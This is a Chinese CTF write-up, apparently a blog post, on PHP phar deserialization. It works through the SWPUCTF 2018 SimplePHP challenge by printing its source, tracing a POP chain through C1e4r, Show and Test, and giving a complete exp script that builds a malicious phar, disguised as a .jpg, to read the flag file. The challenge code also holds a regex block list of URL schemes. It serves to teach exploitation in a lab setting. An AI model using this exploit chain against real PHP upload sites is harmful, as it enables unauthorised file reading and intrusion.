• phar反序列化


    基础知识

    反序列化部分在mmmdata部分

    跟着网上师傅们做一个测试,先将对应的文件配置设置好:

     

    此处配置配置时要注意,删除前面的“;”,将readonly部分改为Off,并重新启动

    1.    class TestObject {
    2.   }
    3.    $phar = new Phar("test.phar"); //后缀名必须为phar
    4.    $phar->startBuffering();
    5.    $phar->setStub(""); //设置stub
    6.    $o = new TestObject();
    7.    $o -> data='commit';
    8.    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    9.    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    10.    //签名自动计算
    11.    $phar->stopBuffering();
    12. echo "执行完毕";
    13. ?>

    访问完该文件后就能在当前文件夹下找到test.phar

     

    我们将该文件丢入010中观察发现中间有一段部分时已经反序列化后的结果

     

     

    有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

     

    观察这几个函数发现,其实和文件上传的源码的函数有关联,所以可能有些时候在文件上传无思路的时候可以尝试一下是不是反序列化

    例题

    SWPUCTF 2018]SimplePHP

     

    看到提示直接访问,果然没那么容易回显为hacker,根据经验查一下file.php文件里的内容

    1. header("content-type:text/html;charset=utf-8");  
    2. include 'function.php';
    3. include 'class.php';
    4. ini_set('open_basedir','/var/www/html/');
    5. $file = $_GET["file"] ? $_GET['file'] : "";
    6. if(empty($file)) {
    7.    echo "

      There is no file to show!

      ";

    8. }
    9. $show = new Show();
    10. if(file_exists($file)) {
    11.    $show->source = $file;
    12.    $show->_show();
    13. } else if (!empty($file)){
    14.    die('file doesn\'t exists.');
    15. }
    16. ?>

    这里看到可以看到通过show()方法显示出文件的源码那就继续把源码都查出来

    function.php

    1. 222.90.67.205
    2. //show_source(__FILE__);
    3. include "base.php";
    4. header("Content-type: text/html;charset=utf-8");
    5. error_reporting(0);
    6. function upload_file_do() {
    7.    global $_FILES;
    8.    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    9.    //mkdir("upload",0777);
    10.    if(file_exists("upload/" . $filename)) {
    11.        unlink($filename);
    12.   }
    13.    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    14.    echo '';
    15. }
    16. function upload_file() {
    17.    global $_FILES;
    18.    if(upload_file_check()) {
    19.        upload_file_do();
    20.   }
    21. }
    22. function upload_file_check() {
    23.    global $_FILES;
    24.    $allowed_types = array("gif","jpeg","jpg","png");
    25.    $temp = explode(".",$_FILES["file"]["name"]);
    26.    $extension = end($temp);
    27.    if(empty($extension)) {
    28.        //echo "

      请选择上传的文件:" . "

      ";

    29.   }
    30.    else{
    31.        if(in_array($extension,$allowed_types)) {
    32.            return true;
    33.       }
    34.        else {
    35.            echo '';
    36.            return false;
    37.       }
    38.   }
    39. }
    40. ?>

    通过function.php可以看到仅允许"gif","jpeg","jpg","png"四种后缀文件

    class.php==>我们看到里面有许多反序列化方法

    1.  
    2. class C1e4r
    3. {
    4.     public $test;
    5.     public $str;
    6.     public function __construct($name)
    7.     {
    8.         $this->str = $name;
    9.     }
    10.     public function __destruct()
    11.     {
    12.         $this->test = $this->str;
    13.         echo $this->test;
    14.     }
    15. }
    16. class Show
    17. {
    18.     public $source;
    19.     public $str;
    20.     public function __construct($file)
    21.     {
    22.         $this->source = $file;   //$this->source = phar://phar.jpg
    23.         echo $this->source;
    24.     }
    25.     public function __toString()
    26.     {
    27.         $content = $this->str['str']->source;
    28.         return $content;
    29.     }
    30.     public function __set($key,$value)
    31.     {
    32.         $this->$key = $value;
    33.     }
    34.     public function _show()
    35.     {
    36.         if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    37.             die('hacker!');
    38.         } else {
    39.             highlight_file($this->source);
    40.         }
    41.         
    42.     }
    43.     public function __wakeup()
    44.     {
    45.         if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    46.             echo "hacker~";
    47.             $this->source = "index.php";
    48.         }
    49.     }
    50. }
    51. class Test
    52. {
    53.     public $file;
    54.     public $params;
    55.     public function __construct()
    56.     {
    57.         $this->params = array();
    58.     }
    59.     public function __get($key)
    60.     {
    61.         return $this->get($key);
    62.     }
    63.     public function get($key)
    64.     {
    65.         if(isset($this->params[$key])) {
    66.             $value = $this->params[$key];
    67.         } else {
    68.             $value = "index.php";
    69.         }
    70.         return $this->file_get($value);
    71.     }
    72.     public function file_get($value)
    73.     {
    74.         $text = base64_encode(file_get_contents($value));
    75.         return $text;
    76.     }
    77. }
    78. ?> 

    base.php

    1.    session_start();
    2. ?>
    3.    "utf-8">
    4.    web3
    5.    "stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
    6.    
    7.    
    8.    
    9.        <div class="container-fluid">
    10.        <div class="navbar-header">
    11.            <a class="navbar-brand" href="index.php">首页a>
    12.        div>
    13.            <ul class="nav navbar-nav navbra-toggle">
    14.                <li class="active"><a href="file.php?file=">查看文件a>li>
    15.                <li><a href="upload_file.php">上传文件a>li>
    16.            ul>
    17.            <ul class="nav navbar-nav navbar-right">
    18.                <li><a href="index.php"><span class="glyphicon glyphicon-user">span>php echo $_SERVER['REMOTE_ADDR'];?>a>li>
    19.            ul>
    20.        div>
    21.    nav>
    22. body>
    23. html>

    看到源码反序列化嘛,所以对class.php进行阅读,思路如下:

    1. class C1e4r
    2. {
    3.    public $test;
    4.    public $str;
    5.    public function __construct($name)
    6.   {
    7.        $this->str = $name;
    8.   }
    9.    public function __destruct()
    10.   {
    11.        $this->test = $this->str;
    12.        echo $this->test;//输出字符串,调用__toString()方法
    13.   }
    14. }
    15. class Show
    16. {
    17.    public $source;
    18.    public $str;
    19.    public function __construct($file)
    20.   {
    21.        $this->source = $file;   //$this->source = phar://phar.jpg
    22.        echo $this->source;
    23.   }
    24.    public function __toString()//利用C1e4r类中$this->test需要输出字符串来调用
    25.   {
    26.        $content = $this->str['str']->source;
    27.        return $content;
    28.   }
    29.    public function __set($key,$value)
    30.   {
    31.        $this->$key = $value;
    32.   }
    33.    public function _show()
    34.   {
    35.        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    36.            die('hacker!');
    37.       } else {
    38.            highlight_file($this->source);
    39.       }
    40.        
    41.   }
    42.    public function __wakeup()
    43.   {
    44.        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
    45.            echo "hacker~";
    46.            $this->source = "index.php";
    47.       }
    48.   }
    49. }
    50. class Test
    51. {
    52.    public $file;
    53.    public $params;
    54.    public function __construct()
    55.   {
    56.        $this->params = array();
    57.   }
    58.    public function __get($key)//读取不可访问或不存在属性时被调用--》Show中的__toString()方法实现
    59.   {
    60.        return $this->get($key);
    61.   }
    62.    public function get($key)
    63.   {
    64.        if(isset($this->params[$key])) {
    65.            $value = $this->params[$key];//--》调用get方法需要调用__get()魔术方法
    66.       } else {
    67.            $value = "index.php";
    68.       }
    69.        return $this->file_get($value);
    70.   }
    71.    public function file_get($value)
    72.   {
    73.        $text = base64_encode(file_get_contents($value));//可以利用此处读取flag值,需要将变量赋值进行更改-->get方法
    74.        return $text;
    75.   }
    76. }
    77. ?>

    1、可以利file_get_contents($value)处读取flag值,需要将变量赋值进行更改-->get方法

    2、调用get方法需要调用__get()魔术方法

    3、读取不可访问或不存在属性时被调用--》Show中的__toString()方法实现

    4、利用C1e4r类中$this->test需要输出字符串来调用Show中的__toString()方法

    exp:

    1. class C1e4r
    2. {
    3. public $test;
    4. public $str;
    5. }
    6. class Show
    7. {
    8. public $source;
    9. public $str;
    10. }
    11. class Test
    12. {
    13. public $file;
    14. public $params;
    15. public function get($key)
    16. {
    17. if(isset($this->params[$key])) {
    18. $value = $this->params[$key];//--》调用get方法需要调用__get()魔术方法
    19. } else {
    20. $value = "index.php";
    21. }
    22. return $this->file_get($value);
    23. }
    24. }
    25. $C1e4r = new C1e4r();
    26. $Show = new Show();
    27. $Test = new Test();
    28. $C1e4r->str = $Show;
    29. $Show->str['str'] = $Test;
    30. $Test->params['source'] = "/var/www/html/f1ag.php";
    31. $phar = new Phar("exp.phar"); //.phar文件
    32. $phar->startBuffering();
    33. $phar->setStub(''); //固定的结尾
    34. $phar->setMetadata($C1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
    35. $phar->addFromString("test.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
    36. $phar->stopBuffering();
    37. ?>

    运行结束后在文件中产生了对应的phar文件

    因为题目对文件后缀进行过滤,所以 将其改为jpg后缀,并且对上传的文件进行了重名名操作所以我们不可以直接访问,但是我们可以访问upload,将底下的文件一个一个看必有一个是我们刚刚上传的

     

    之后利用file查找(配合phar协议)

     

    解码获得flag

    学习原文链接

    phar反序列化 - My_Dreams - 博客园 (cnblogs.com)

    (13条消息) phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_ctf phar反序列化

  • 相关阅读:
    github代码提交过程详细介绍
    UE5物体高亮显示(蓝图版)
    C#11之原始字符串
    路由器配置单区域(多区域)OSPF
    Python----函数中的说明文档
    低代码平台和无代码平台有什么区别
    2023中国民航大学计算机考研信息汇总
    RabbitMQ高级特性
    Go语言集成开发环境(IDE):GoLand 2023中文
    保姆级教程:python读取并绘制nc数据
  • 原文地址:https://blog.csdn.net/m0_62709637/article/details/127119695